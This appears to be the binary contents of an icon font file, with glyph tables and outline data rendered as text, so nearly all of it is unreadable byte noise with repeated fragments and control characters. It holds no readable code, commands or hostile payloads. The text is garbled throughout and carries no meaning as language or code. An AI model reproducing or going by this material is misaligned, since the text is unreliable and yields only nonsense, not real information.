::AW``EvEEvE<."e$IE&O&EI&{h.`  m  "  &#"& '327>73271[>+)@(]:2,C?*%Zx/658:@#N
C=E(oE=W'c:     #  !#"$&6$3 &#"32>7! ڝyy,{ۀہW^F!LC=y:yw߂0H\R%          " N ^   '&76232762$"&5462"&46274&"&'264&#"'&&#"32$54'>$ $&6$ G>>0yx14J55J5J44J5Fd$?4J55%6E#42F%$fLlLq>>11J44%&4Z%44J54R1F$Z-%45J521Z%F1#:ʎ 9LlL          # Q a  "'&7622762%"&5462"&546274&#"&'73264&#"'&&#"32654'>#!"&5463!255**.>.-@-R.>.-@-<+*q6- -- 0<o,+< 3w@www55**.. -- .. --G*<N' ,-@-+*M <*2zz1@www      0 <  754&""&=#326546325##"&='26  $$ bZtt&sRQsZ<tsQ^aa>OpoOxzRrqP6z~{{Prr^aa    ]  0  54&"#"&5!2654632!#"&57265&<T<H<T<H<T<8v*<<*
+;;+l:=:*;;*         %!!"!!26#!"&5463!2@ ]]@w@www] @@www         	     % )  3!!#335!!5!5!%#!!5!5!%#HH{RHH{GG{)qGRRqRRq     	  # 0 @   #"'632 #"'632 &#"7532&#"#7532#!"&5463!2L5+*5L5+*5~}7W|3B}}JC7=}w@wwwDZQ[1N:_)i$)@www   
 )	             6.#&#"'&547>'&#".'&'#"&5467%&4>7>3263232654.547'654'63277.'.*#">7?67>?>32#"'7'>3'>3235?KcgA+![<E0y$,<'.cI
	,# '!;7$=ep	//7/
D+R>,7*
2(-#=
	/~[(D?G  |,)"#+)O8,+'6	y{=@0mI#938OAE`
-
)y_/FwaH8j7=7?%a	%%!?)L
J9=5]~pj
 %(1$",I $@((
+!.S		-L__$'-9L	5V+	
	6T+6.8-$0+t|S1       6 ]   &#"'&#"67>76'&'&#"67>32764.#"#.32>67>7 $&54>7>7>7rJ@"kb2)W+,5/1		#

Z
-!$IOXp7sLCF9vz NAG#/ 5|Հ';RKR/J#=$,9,+$UCS7'2"1
 !/
,
/--ST(::(ep4AM@=I>".)xΤlsY|qK@
%(YQ&NEHv~        < Z x  '#"&5467&6?2?'&"/.7.546326#"&'&/7264/7'764&"'?>>32.AUpIUxYE.A%%%h%%hJ%D,FZxULsTgxUJrVD%hJ%@/LefL.C%Jh%CVsNUxϠ@.FZyUHpVA%h&%%%Ji%CWpIUybJ/Uy^G,D%Jh%@UsMtUC%hJ%C-Kfy        E X [ _ g j    &/&'.''67>7>7&'&'&'>76763>7>#&'&'767672'%'7'+"&'&546323267>7%#"'4'6767672,32,+DCCQLDf'
%:/d
B	4@}&!0$?Jfdf-.=6(:!TO?
!IG_U%
.k*.=;	5gN_X	"
##
292Q41*6nA;|BSN.	%1$6	$nk^        ' 7 G W g w       2+"&5463#!"&5463!254&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";26#"&=! B^^BB^^B:FjB^8((`(   `(8^BB^^B@B^"vE j^B (8(`( 8(         / ? O _ o         /?  2#!"&5463;26=4&+";26=4&+";26=4&+";26=4&+"54&+";2654&+";2654&+";2654&+";2654&+";2654&#!"3!2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";26@&& &&@@@@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@@ &&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @`  '  	"&5#"&5&4762!762$"&462B\B@B\BOpP.BB..BB.8$PO広      3 C Q  #".54>32#".546322#"&#"#"54>%".54>32%2#"&54>&X=L|<&X=M{<TMLFTMLFv"?B+D?BJpH=X&<{M=X&<|dMTFLMTF(<kNsI<kNsPvoJPwo/s.=ZYVӮvNk<JsNk<IshwPJovPJo  @     +"&7.54>2r_-$$-_rUU%&&5%ő            '-"'.546762@FF$@B@$.&,&.]]|q #<<# (B  B               B  %'-%'-'%'-"'%&'"'%.5467%467%62@ll@ll,@GG&!@@@@@@!&+#+#6#+$*`:p:px
p=`$>>$&@&@

@&p@       	  & . A  !!"!&2673!"54 32!%!254#!5!2654#!%!2#!8Zp?vdΊens6(N[RWu?rt1SrF|iZ@7މoy2IMC~[R yK{T:         % , A G K  2#!"&5463!!2654'654.#532#532"&5!654&#"327#2#>!!ww@ww~uk'JTMwa|
DH>I1qFj?w@wwwsq*4p9O*¸Z^qh LE
"(nz8B
M         ' ?   "&462 4&#"'.'324&#"3267 ##"&/6326 32 .ʏhhMALR vGhг~~KyO^ʏʏВ*LM@!<I~~t\0          C M   4&"2 #"&'676&/632#!"&=3267%2654&#"&#"%463!2"&4632rqqtR8^4.<x3=RRw@w_h
YӖ	K>שwwȍde)qrOPqȦs:03=<x!m@wwE\xgӕє%wwdȎ  V   - < K \  %.'.>7'.?67'67%'>&%'7%7./6D\$>	"N,?a0#O1G9'/P(1#00($=!F"9|]"RE<6'o9%8J$\:\HiTe<?}V#oj?d,6%N#"
HlSVY]C=    @     C   4&"2!.#!" 4&"2+"&=!"&=#"&546;>3!232^^^Y	 	^^^`pp pp`]ib bi]~^^^e^^^ PppPPppP]^^]       3 ; E M  2+"&=!"&=#"&546;>;5463!232 264&"!.#!" 264&" ]`pp pp`]ibbi^^^dY	 	!^^^]@PppP@@PppP@]^^] ^^^e^^^      3  $#!#!"&5467!"&47#"&47#"&4762++&2
$$
2&&&4&&Z4&&##&&4&4&44&m4&m      + D P  4'&#"32763232674'&!"32763 3264'&$#"32763232> $$ g* o`#ə0#z#l(~̠)-g+^aaF s"	+g(*3#!|#/IK/%*%D=)[^aa        	!!!'!!77! ,/,-a/G      	 t  % / ; < H T b c q         %7.#"32%74'&"32765"/7627#"5'7432#"/7632#"5'7432#"&5'74632	#"/6327#"/6327#"/46329"&/462"&/>21"&/567632#!.547632 632
		*
			X		

^`		

^b	c
	fuU`59u


4J
	l~		~	F	
	2		m|O, 	
ru|	u
"           ) 9    $7 $&=  $7 $&=  $7 $&=   $&=46w`ww`ww`wb` VTEvEEvETVTEvEEvET*VTEvEEvET*EvEEvEEvEEv         # ^ c t    #!"&5463!2!&'&!"&5!632#"&'#"/&'&7>766767.76;267674767&5&5&'67.'&'&#3274(8((88((`x
c`(8 !3;:A0?ݫY
	^U	47D$	74U3I|L38wtL0`((88(@(8(D9 8( Q1&(!;
(g-	Up~R2(/{E(Xz*Z%(i6CmVo8            # T  #!"&5463!2!&'&!"&5!3367653335!3#4.5.'##'&'35(8((88((`x
c`(8 iFFZcrcZ`((88(@(8(D9 8( kk"	kkJ	 	!	k          # S  #!"&5463!2!&'&!"&5!%!5#7>;#!5#35!3#&'&/35!3(8((88((`x
c`(8 -Kg
kL#DCJgjLD`((88(@(8(D9 8( jj	jjkkkk            # 8 C  #!"&5463!2!&'&!"&5!%!5#5327>54&'&#!3#32(8((88((`x
c`(8  G]L*COJ?0R\wx48>`((88(@(8(D9 8( jjRQxk!RY            # * 2  #!"&5463!2!&'&!"&5!!57"&462(8((88((`x
c`(8  Pppp`((88(@(8(D9 8( ppp  	          # * 7 J R  5#5#5#5##!"&5463!2!&'&!"&5##5!"&54765332264&"  <(8((88((`x
c`(8 kޑcO"jKKjK`((88(@(8(D9 8( SmmS?M&4&&4            # 9 L ^  #!"&5463!2!&'&!"&5!#"/#"&=46;76276'.'2764'.(8((88((`x
c`(8 6ddWW6&44`((88(@(8(D9 8( .	G5{{5]]$5995           # 3 C  #!"&5463!2!&'&!"&5!2#!"&5463#"'5632(8((88((`x
c`(8 4LL44LL4l			`((88(@(8(D9 8( L44LL44L	
Z
	           # 7 K [  #!"&5463!2!&'&!"&5!>&'&7!/.?'&6?6.7>'(8((88((`x
c`(8 `3333v?`((88(@(8(D9 8( &&-&&?
  '  6  #'.
'!67&54632".'654&#"32eaAɢ/PRAids`WXyzOvд:C;A:25@Ң>-05rn`H(' gQWZc[          
     -  %7'	%'-'%	%"'&54762[3[MN3",""3,3"ong$߆]gn$+)")")"         x # W  #"&#!+.5467&546326$32327.'#"&5463232654&#"632#".#"oGn\u_MK'̨|g?CM7MM5,QAAIQqAy{b]BL4PJ9+OABIRo?z.z
n6'+s:zcIAC65D*DRRD*wyal@B39E*DRRD*             ' / 7     $&6$ 6277&47'  7'"' 6& 6'lLRRZB|RR>dZZ LlLZRR«Z&>«|R     !   $&54$7  >54 '5PffP牉@s-ff`-      c  6721>?>././76&/7>?>?>./&31#"$&(@8!IH2hM>'
)-*h'N'!'Og,R"/!YQG<I *1)
(-O1D+0nz3fwG2'3rd1!sF0o .q"!%GsH8@-!5|w|pgS="B2PJfhGdR 	        ( P ] l y    &$'77&7567'676'"'7&'&'7&47'6767'627''6$ '67'654'7&'7'&'&'7&'5 &$  $6 $&6$ jj:,AAS9bb9R#:j8AܔA,zC9Z04\40Z9C!B;X0,l,0X;B*A8ܔA&#9j`b9S$#R99#&A8A`䇇<Z<䳎LlLfBϬ"129,V<4!!88dpm"BV,92[P*V*P\MC

CM\P*V*P]LD

DL&BV*8*8!f!4<gmpd88!&!8*8*VB Z<䇇䇇LlL        9 E i s   %#"5432#"543275#&#"3254&'.547>54'63&547#5#"=3235#47##6323#324&"26%#!"&5463!2F]kbf$JMM$&N92<Vv;,&)q(DL+`N11MZ
%G&54	#	i<$8&@0H12F1dw@wwwB?@UTZ3%}rV2hD5%f-C#C@,nO	a7.0x2	yRuR/u%6;&$76%$56S@www     D     < H l w  %4#"324&#"32!".5475&5475.546322#654'3%#".535"&#"5354'33"&+32 #"&54632S;<;||w$+|('-GVVG-EznAC?H_`Rb]Gg>Z2&`9UW=N9:PO;:dhe\=R
+)&')-S99kJ<)UmQ/-Ya^"![Y'(<`X;_L6#)|tWW:;X          	#'#3#!"&5463!2)
p*xeשw@www0,\8@www  9    I   #"'#"&'&>767&5462#"'.7>32>4."&'&54>32JrO<3>5-&FD(=Gq@C$39aLL²L4
&)
@]vq#CO!~󿵂<ZK#*Pq.%L²LLarh({w؜\     i  &5467&6747632#".'&##".'&'.'#".5467>72765'./"#"&'&5}1R<2"7MW'$	;IS7@5sQ@@)R#DvTA;
0xI)!:>+<B76:NFcP:SC4rl+r E%.*a-(6%('>)C	6.      >  
  ! - I [   4&#"324&#"3264&#"324&#"326&#"#".'7$4$32'#"$&6$32D2)+BB+)3(--(31)+BB+)4'--'4'#!0>R	HMŰ9ou7ǖD䣣
R23('3_,--,R23('3_,--,NJ
?uWm%        #"'%#"'.5	%&'&7632! ;	`u%"( !]#c)(	            #"'%#"'.5%&'&76	! 	(%##fP_"( !)'+ŉ       4 I   #"$'&6?6332>4.#"#!"&54766$32#!"&=46;46;2 z䜬m
IwhQQhbF*@&('k@z
	
_hQнQGB'(&*eozΘ@@`             >.  $$ ffff^aa fff^aa  >   "&#"#"&54>7654'&#!"#"&#"#"&54>765'46.'."&54632326323!27654'.5463232632,-,,",:!%]&%@2(/.+*)6!	<.$..**"+8##Q3,,++#-:#"</$)

w


,*

x9-.2"'
,,
@&,,
Qw
,     ,  #"+"&5#+"&5&'&'&547676)2%2$l$#l#b~B@XXyo2$CI@5$$>$$/:yuxv)%$ 	          / ? C G  %!5%2#!"&5463!5#5!52#!"&54632#!"&5463#5!5`&& &&  && &&&& &&@& && &  & && & & && &      %  2 &547%#"&632%&546 #"'6\~~\h
~\h\ V
VVV       % 5  $4&#"'64'73264&"&#"3272#!"&5463!2 }XT==TX}}~>SX}}XS>~}w@www~:xx:~}}Xx9}}9xX}@www        / > L X d s   .327>76 $&6$32762#"/&4762"/&47626+"&46;2'"&=462#"'&4?62E0l,
*"T.D@Yooo@5D

[		

Z
Z

		[	 ``[



Z

	2
,l0
(T".D5@oooY@D,

Z

		[			[		

Z
``EZ

		[		
         5  %!  $&66='&'%77'727'%amlLmf?55>fFtuutFLlLHYCL||LY˄(E''E*(           / ? I Y i y      %+"&=46;2+"&=46;2+"&=46;2+"&=46;2%"&=!#+"&=46;2+"&=46;2+"&=46;2+"&=46;2!54!54>$ +"&=46;2#!"&=@&&@3P>P3&&rrr&&rrr
he
4LKM:%%:MKL4WT&&            % / 9  ##!"&563!!#!"&5"&5!2!5463!2!5463!2&& &  & &&   &&& i@ &&@& 7         '#5&?6262%%o;j|/&jJ%p&j;&i&p/|jţ%Jk%o%      	  : g  "&5462#"&546324&#!"263662>7'&75.''&'&&'&6463!276i~ZYYZ~@OS;+[G[3YUD#o?D&G3I=JyTkBuhNV!WOhuAiSy*'^CC^'*SwwSTvvTSwwSTvvWID\_"[gq# /3qFr2/ $rg%4
HffHJ4   d       #!#7!!7!#5!VFNrmNNNN!     Y  + ? N e  %&'&'&7>727>'#&'&'&>2'&'&676'&76$7&'&767>76'6#<;11x#*#G,T93%/#0vNZ;:8)M:(	&C.J}2	%0 	^*
JF	
&7'X"2LDM"	+6
M2+'BQfXV#+]
#'
L/(eB9   
             # , 8  !!!5!!5!5!5!5#26%!!26#!"&5!5          &4& &pPPp        @@&&@!&@PppP@  *  	  9 Q  $"&54627"."#"&547>2"'.#"#"&5476$ "'&$ #"&5476$ (}R}hLK
NN
 Ud:
xx
8

 ,, |2222
MXXM
ic,>>,

		
̺
           ' / 7 ? K S c k {  4&"2$4&"2 4&"2 4&"2 4&"2 4&"2 4&"2 4&"24&"26 4&"24&#!"3!264&"2#!"&5463!2KjKKjKjKKjKjKKjKKjKKjKjKKjKjKKjKKjKKjKjKKjKLhLLhLKjKKj& && &KjKKjL44LL44L5jKKjKKjKKjKjKKjKjKKjKjKKjKjKKjKjKKjKjKKjK4LL44LLjKKjK && &&jKKjK  4LL4 4LL  	   ' E  !#"+"&7>76;7676767>'#'"#!"&7>3!2W",&7'	#$	&gpf5O.PqZZdS-V"0kqzTxD!!8p8%'i_F?;kR(`
!&)   '    
   (  2 !&6367 !	&63!2!
`B1LO(+#=) heCQg#s`f4#6q'X|0-g   	      > I Y  #6?>7&#!%'.'33#&#"#"/3674'.54636%#"3733#!"&5463!24:@7vH%hEP{0&<'VFJo1,1.F6A#L4 4LL4 4L"%	
 
7x'6O\JYFw~v^fH$ !"xdjD"!6`J 4LL4 4LL   	    + 3 @ G X c g q z     -<JX{  &#"327&76'32>54.#"35#3;5#'#3537+5;3'23764/"+353$4632#"$2#462#"6462""'"&5&5474761256321##%354&'"&#"5#35432354323=#&#"32?4/&54327&#"#"'326'#"=35#5##3327"327'#"'354&3"5#354327&327''"&46327&#"3=#&#"32?"5#354327&3=#&"32?"#3274?67654'&'4/"&#!"&5463!2_gQQh^_~\[[\]_^hQQge<F$$$ !!&&/!/!!00/e&'!"e$
		'!!''
	8''NgL4 4LL4 4LUQghQUk=<Sccc,-{kjUQhgQ9
,&W &$UK$$KK$$KDC(>("
!
=))=2( '! 'L#(>(&DC(>(zL#DzG)<) 4LL4 4LL    	  
    B W b j q }    +532%+5324&+32763#4&'.546327&#"#"'3265#"&546325&#"32!26 4&"2%#'#735#535#535#3'654&+353#!"&5463!29$<=$@?SdO__J-<AA@)7")9,<$.%0*,G3@%)1??.+&((JgfJ*A!&jjjGZYGиwsswPiL>8aA	!M77MM77M3!4erJ]&3YM(,
,%7(#),(@=)M%A20C&Mee(X0&ĖjjjV	8Z8J9N/4$8NN88NN      	       # & : O [   	$?b  3'7'#3#%54+32%4+324+323'%#5#'#'##337"&##'!!732%#3#3##!"&53733537!572!56373353#'#'#"5#&#!'#'#463!2#"5#"5!&+&+'!!7353273532!2732%#54&+#32#46.+#2#3#3##+53254&".546;#"67+53254&.546;#"#'#'##"54;"&;7335wY-AJF=c(TS)!*RQ+*RQ+Y,B^9^Ft`njUM')	~PS PRm٘M77Mo7q

@)U	8"E(1++NM77Mx378D62W74;9<-A"EA0:AF@1:ؗBf~~""12"4(w$#11#@}}!%+%5(v$:O\zK?*$\amcrVlOO176Nn<!E(=<&l/<<[ZZYY891767OO7==..//cV==::z,,,,aa,,7OO7Z::;;YfcW(		"6-!c(		!5	#
bt88176tV:
&$'*9	%e#:%'*9B<<;
&(        	    # : S n       #"&54632%#76;2#"&54632%4&+";2?>23266&+"&#"3267;2 4&+"'&+";27%4&+";2?>23266&+"&#"3267;254+";27#76;2#!"&5463!23%#2%%,, _3$$2%%M>ALVb5)LDHeE:<EMj,K'-RM ~M>ARVb5)LEHeE:<EJABI*'!($rL4 4LL4 4Lv%1 %3!x*k$2 %3!;5h
n
a
!(lI;F	
	
	rp
p8;5h
t
a
!(lI;F`	#k 4LL4 4LL   
  	  
  2 H W [ l t    #"'5632#6324&'.54327&#"#"&'32767#533275#"=5&#"'#36323#4'&#"'#753276 4&"24'&#"327'#"'&'36#!"&5463!2=!9n23BD$ &:BCRM.0AC'0RH`Q03'`.>,&I / * /

8/n-(G@5$ S3=,.B..B02^`o?7je;9G+L4 4LL4 4LyE%#	Vb;A!p &'F:Aq)%)#orgT$v2 8)2z948/{8AB..B/q?@r<7(g/ 4LL4 4LL        ?  #!"&'24#"&54"&/&6?&5>547&54626=L4@ԕ ;U g3

T
2RX='8P8|5
4Ljj U;Ig@
	
`
 "*\(88(]k
          & N  4#"&54"3	.#"#!"&'7!&7&/&6?&5>547&54626;U gIm*]Z0L4@ԕ=o=CT

T
2RX='8P8|5
 U;IgXu?bl3@4Ljja`
	
`
 "*\(88(]k         / 7 [  %4&+";26%4&+";26%4&+";26!'&'!+#!"&5#"&=463!7>3!2!2 @@ @@ @@0

o`^BB^`5FN(@(NF5@@@u		@LSyuS@%44%     , < H  #" 54 32+"=4&#"326=46;2  >.  $$ ~Isy9"SgR8vHD	w
ffff^aam2N+	)H-mF+10*F		+fff^aa        b  4&#"32>"#"'&'#"&54632?>;23>5 !"3276#"$&6$3  k^?zb=ka`U4J{K_/4^W&	vx :XB0܂ff)
fzzXlz=lapzob35!2BX
G@8'	'=vN$\ff	1	SZz8zX          # (   "/+'547'&4?6276	'D^h



i%5 @%[i



h]@ ]h



i%@ 5%[i



h^@@       )  2 #"&5476 #".5327>OFi-ay~\~;'S{s:D8>)AJfh ]F?X{[TC6LlG]v2'"%B];$         - o     %!2>7>3232>7>322>7>32".'.#"#"&'.#"#"&'.#"#546;!!!!!32#"&54>52#"&54>52#"&54>52  -P&+#($P.-P$'#+&PZP&+#"+&P-($P-.P$(#+$P.-P$'#+&P-.P$+#pP@     @Pp H85K"&Z H85K"&Z H85K"&Z@Pp@@@pMSK5, :&LMSK5, :&LMSK5, :&        !!3	!	    @  @@           	#"$$3!!2 "jaѻxl alxaa j         !!3/"/'62'&63!2   'y

`I

y My

`I

y'       W `  #".'.#"32767!"&54>3232654.'&546#&'5&#"

4$%Eӕ;iNL291 ;XxR`f՝Q8TWiWgW:;*:`Qs&?RWXJ8oNU0J1F@#)
[%6_POQiX(o`_?5"$iʗ\&>bds6aP*< -;iFn*-c1B       W g  4'.'4.54632#7&'.#"#"'.#"32767'#"&54632326#!"&5463!2#$(	1$6]'
!E3P|ad(2S;aF9'EOSej]m]<*rYshpt.#)$78L*khw@wwwB
%$/$G6
sP`X):F/fwH1pdlqnmPHuikw_:[9D'@www            3   4."2>$4.#!!2>#!".>3!2QнQQнQQh~wwhf ff нQQнQQнQZZQffff           #  >3!2#!".2>4."f ff нQQнQQffffQнQQн      	      , \  !"&?&#"326'3&'!&#"#"'     5467'+#"  327#"&463!!'#"&463!2632(#AHs9q  ci<=
#]<OFA!re&&U&& ![eF U?g4_a?b+r7&4&&4&p,           + K   4&"2$4&"2.#!"3!264&#!"3!2#"&=!"&=#47>$ KjKKjKKjKKjH#j#H&&&KjK KjKg	V	ijKKjKKjKKjK..n(([5KK55KK5[poNv<<vN:f      . R   #!"&463!24'!"&5463!&$#"!2#!32>+#" '#"&546;&546$32 322$B$22$$*$22$Xڭӯ$22$tX'hs2$ϧkc$22$1c$2F33F3VVT2#$2ԱVT2#$2g#2UU݃
2$#2UU1݃2         , u   54#"67.632&#"32654'.#"32764.'&$#"7232&'##"&54732654&#"467&5463254632>32#"'&ru&9%"*#͟ <yK0Og" &9B3;㛘8s%+DWXRD= @Y%	!Q6R!4M8+6rU^z=)RN.)C>O%GR=O&^opC8pP*bY
_#$N Pb@6)?+0L15"4$.Es
5IQ"!@h"Y7e|J>ziPeneHbIlF>^]@n*9         6 [ _  3#"&54632#.#"32%3#"&54632#.#"326%4&'.'&! ! 7>7>!=39?
6'_>29?
5'17m-VU--,bW. 뮠@Fyu0HC$뮠@Fyu0HC$L=??<=! A	<          `  ;  +"&54&#!+"&5463!2#!"&546;2!26546;2pЇ0pp@I pp        > S c  +"&=46;254&+"&+";2=46;2;2=46;2;2%54&#!";2=;26#!"&5463!2A5DD5A7^6a7MB55B7?5B~```0`rr5A44A5v5AA5f*A``0`       	   !!!!	#!"&5463!2ړ7H7jv@vvv'  :@vvv          M U a h m r x                  #"'!"'!#"&547.547.54674&547&54632!62!632!#!627'!%!"67'#77!63!!7357/7'%#	%'3/&=&'	5#?&5476 !p4q"""6" 'h*[|*,@?wAUMpV@˝)Ϳw7({*U%K6=0(M		"!O		dX$k
!!!b	
[TDOi
@6bxBAݽ5ɝ:J+3,px1Fi
(R         463!#!"&5%'4&#!"3`а@..@A-XfB$.BB..C     } 
   )   &54$32 &'  % &&'6 7"w`Rd]G{o]>p6sc(@wgmJPAjyYWa͊AZq{HZ:<dv\gx>2ATKn       + ;  "'&#"&#"+6!263 2&#"&#">3267&#">326e~└Ȁ|隚Ν|ū|iyZʬ7Ӕްr|uѥx9[[9jj9ANN+,#ll"BS32fk     [   / ? \  %4&+";26%4&+";26%4&+";26%4&+";26%#!"&5467&546326$32]]eeeeee$~i
qfN-*#Sjt2"'qCB8!   '  >    	      ! % ) - 1 5 9 = A E I M Q U Y ] a g k o s w {           !	%!	5!#5#5#5#5#57777????#5!#5!#5!#5!#5!#5!#5!#5#537#5!#5!#5!#5!#5!#55#535353535353%"&546326#"'#32>54.&54>3237.#" Q%%%%%%%%%?iiihOiixiiyiixiiArssrrssr%sssrrssNs%%%%%%%%%%'<D<'paC_78#7PO7)("I$	75! RAb(ssssssssss"/!".""."!."".!/^.".^.".]/".$$$$$$$$$$$$$$$$Os$$$$$$$$$$$$$$sO$sssssssssss#}$)	13?*
,./:
-      s    *   4&"2$4&"2#!"&5463!2!5463!2_?--??-,@@,-?pq8,??,D,??,,??      (    Z  2#".#"3267>32#".54 3232654&#"#"&54654&#"#"&547>326ڞUzrhgrxSПdU <ex՞Zf_gן:k=2;^9Œ7\xx\7K=5XltֆWW{e_%N%,%CI%      # + W   4&+54&"#";26=32 "&462"&462!2#!"&54>7#"&463!2!2&&4&&&&4&KjKKjKjKKj && &%&& &&4&&&&4&&&5jKKjKKjKKjK %z
0&4&&3D7&4&%&          ' S   4&"4&"'&"27 "&462"&462!2#!"&54>7#"&463!2!2 &4&4&4& 4 KjKKjKjKKj && &%&& &&4&%&&ے&4  "jKKjKKjKKjK %z
0&4&&3D7&4&%&           	    &  	!'!	!%!!!!%"'.763!2o]FooZY@:@!! gf /  /      I    62'"/"/"/"/"/"/"/7762762762762762762%"/77627&6?35!5!!3762762'"/"/"/"/"/"/%5#5!4ZSS6SS4SS4SS4SS4SS4SS4ZSS4SS4SS4SS4SS4SS4S-4ZSS4S@   4SS4ZSS6SS4SS4SS4SS4SS4S@ ZSSSSSSSSSSSSSSZSSSSSSSSSSSSSyZRRR@%:=
:+:
=RRZSSSSSSSSSSSSS         C v  !/&'&#""'&#"	32>;232>7>76#!"&54>7'3&547&547>763226323@``` 
VFaaFV
$.

.$yy	.Q5ZE$ ,l<l, $ER?Y*@@2	!#""#!	yy=rna@@(89*>*%>>%*>*98(QO!       L \ p  '.'&67'#!##"  327&+"&46;2!3'#"&7>;276;2+6267!"'&7&#"(6&#"#"'DgOOG`n% ELL{@&&Nc, sU&&!Fre&&ss#/,<=
#]gLoGkP'r-n&4&2-ir&&?o 4_      5 O W  ! .54>762>7.'.7>+#!"&5#"&5463!2"&462{{BtxG,:`9(0bԿb0(9`:,GxtB&@& &@&K55K`?e==e?1O6#,
#$
,#6OO&&&&5KK      ?  !"'&'!2673267!'.."!&54632>32 1
4q#F""8'go#-#,"tYg>oP$$Po> 	Zep#)R0+I@$$@I+     + 3   32++"&=#"&=46;.7>76$     @ᅪ* r@@r      ' /  2+"&5".4>32!"&=463      &@~[՛[[u˜~gr&`u՛[[՛[~~@r         = E   32++"&=#"&=46;5& 547&'&6;22676;2      >``@``ٱ?E,,=?rH@``@GݧH`jjr     B J  463!2+"&= 32++"&=#"&=46;5.76 76%#"&5        &@~``@`` vX r&@``@+BF`r       k s  463!2+"&= 32++"&=#"&=46;5& 547'/.?'+"&5463!2+7>6 %#"&5        &@~``@``~4e	
0
	io@& jV	
0
	Z9 r&@``@Gɞ5o
,
sp &@k^
,
c8~~`r       8 > K R _  32++"&=!+"&=#"&=46;.76 766 6'27&547&#"  &'2  #"@ @'Ϋ'sggsww@sgg@@-ssʃl99OOr99     F P ^ l  463!2+"&= $'.7>76%#"&=463!2+"&=%#"&54'>%&54 7.#" 2 54&'   &@L?CuГP	vY  &@;"  ޥ5݇ޥ5`&_ڿgwBF@&J_	s&&?%x%x      J P \ h  463!2+"&= '32++"&=#"&=46;5.76 76632%#"&56'  327&7&#"2  #" &@L? ߺu``@``}ຒɞ  ueeu9uee&_"|N@``@""|a~lo99r9@9       ; C  2+"&5"/".4>327'&4?627!"&=463      &@Ռ		.	
N~[՛[[u˜N		.	
gr&`֌
	.		Ou՛[[՛[~N
	.		@r       9 A   '.'&675#"&=46;5"/&4?62"/32+     '֪\
	.		4		.	
\r|ݧ憛@\		.	

	.		\@r     ~ 9 A  "/&4?!+"&=# #"$7>763546;2!'&4?62      m		-

@ݧ憛@&

-		@rm4

-		ٮ*		-

r           +"&5& 54>2      @[՛[rdGu՛[[r                 ".4>2 r[՛[[՛r5՛[[՛[[      $  2#!37#546375&#"#3!"&5463#22#y/Dz?s!#22#2##2S88	2#V#2        L  4>32#"&''&5467&5463232>54&#" #"'.Kg&RvgD
$*2%	+Z hP=DXZ@7^?1۰3O+lh4`M@8'+c+RI2
\ZAhSQ>B>?S2Vhui/,R0+	ZRkm      z  + > Q   2#"'.'&756763232322>4."7 #"'&546n/9bLHG2E"D8_
pdddxO"2xxê_lx2X	
!+'5>-pkW[CI
I@50Oddd˥Mhfxx^ә  	           # ' + /  7!5!!5! 4&"2!5! 4&"24&"2!!!     8P88P   8P88P88P88P     P88P8 P88P88P88P8          + N    &6 !2#!+"&5!"&=463!46;23!#!"&54>32267632#"_>@`` L4 Dgy 6Fe=OOU4L>``4L2y5eud_C(====`L4       3 V    &6 #"/#"/&54?'&54?6327632#!"&54>32 7632_>																%%Sy 6Fe=J%>																%65%Sy5eud_C(zz.!6%          $  !2!!!46;2 4&"2!54&#!" &   &&@ԖV@& &@  &&ԖԖ@&             3!!!	!5!'!53!!	# 7IeeI7 CzC l @@  @            #  2#!"&?.54$3264&"!@մppp  ((ppp              # + /  2#!"&?.54$3264&"! 264&"!@մ^^^@^^^@ ((^^^  ^^^         v    (  #"'%.54632	"'% 	632U/@k0G,zD#[k#
/t g
FGz        	#'#3!)
p*xe 0,\8     T   # / D M %2<GQ^lw  &'&676676&'&7654&'&&546763"#"'3264&7.>&'%'.767&7667&766747665"'.'&767>3>7&'&'47.'.7676767&76767.'$73>?>67673>#6766666&'&6767.'"'276&67&54&&671&'6757>7& "2654&57>&>&'5#%67>76$7&74>=.''&'&'#'#''&'&'&'65.'&6767.'#%&''&'#2%676765&'&'&7&5&'6.7>&5R4&5S9W"-J0(/rV"-J0(.)#"6&4pOPppc|o}vQ[60XQW1V	#5X		N"&.
)
D>q J:102(z/=f*4!>S5b<U$:I o<G*	,&"O	X5
#!
	R N#C83J*R	!(D#%37	;$-.(,覦6ij
	")9
E%!B83
	j96/,	:QD')yX#63Vba	,
UeLPA@*	̳`Xx*&E
V36%	B3%	B3XA	#!.mU"A	#!.mUB-#2+Jiiim-C<I(m8qF/*)0S
		
I
E5&+>!%
(!$p8~5..:5I~T
4~9p# !
)& ?()5F	1		
 d%{v*: @e
s|D1d {:*dAA|oYk'&<tuut&vHCXXTR;w71Z*&'1	9?	.$Gv5k65P<?8q=4a	SC"1#</6B&!ML	^;6k5wF1<P    C	   ;  $"&462"&46232>.$.`aasa``Z9k'9؋ӗa-*Gl|Me_]`F&OܽsDD!/+``aa``a1<YK3(
 /8HQelAZ3t_fQP<343J;T7Q           + ? K g w     $6&$  $&62+"5432+"&=.54  $;26=462;26=4& 4&#!"3!26)߄4R4߄mlLr {jK#@#Qa^@@`&&&&߄4R4ĎLlLN @K5#:rr:#5K^aa``]]`` && &&       	     /  !3#4&#!"3!265##!"&5463!22 @ K5^BB^^B@B^5K    @5KB^^BB^^BK        	     /  !2##!"&5463!2#4&#!"3!265  5KK5^BB^^B@B^@   K55KB^^BB^^B` @      	     /  !2##!"&5463!2#4&#!"3!265  5KK5^BB^^B@B^@   K55KB^^BB^^B` @      	     /  !2##!"&5463!2#4&#!"3!265  5KK5^BB^^B@B^@   K55KB^^BB^^B` @      	    +  2##!"&5463!2#4&#!"3!2655KK5^BB^^B@B^@K55KB^^BB^^B` @    {    #!&'#"'&547632m*
0(('($0K
**      %   3#!3# '!#53 5#534!#53 6!3@@@@pp@@@@@pp@`     	          + / 7 ; A  #3!5!!3#!!5!35!355#%53#5!#35#!!!!!!!!                           
   	    # ' + / 3 ? C G W  #3!5!!35!!3#!!5!#!5!3535!355#%#3%!53#5!#35#!5##5!3!5!3!5	               !"&5463!2!"! `(88(@(8`(8}22R `8(@(88(`8HR22         #  #6?6%!!!46#!"&5463!2x  8(`( (88(@(8 
  (8 (`(8(@(88      	    ' A T d   +5326+5323##"' %5&465./&76%4&'5>54&'"&#!!26#!"&5463!2

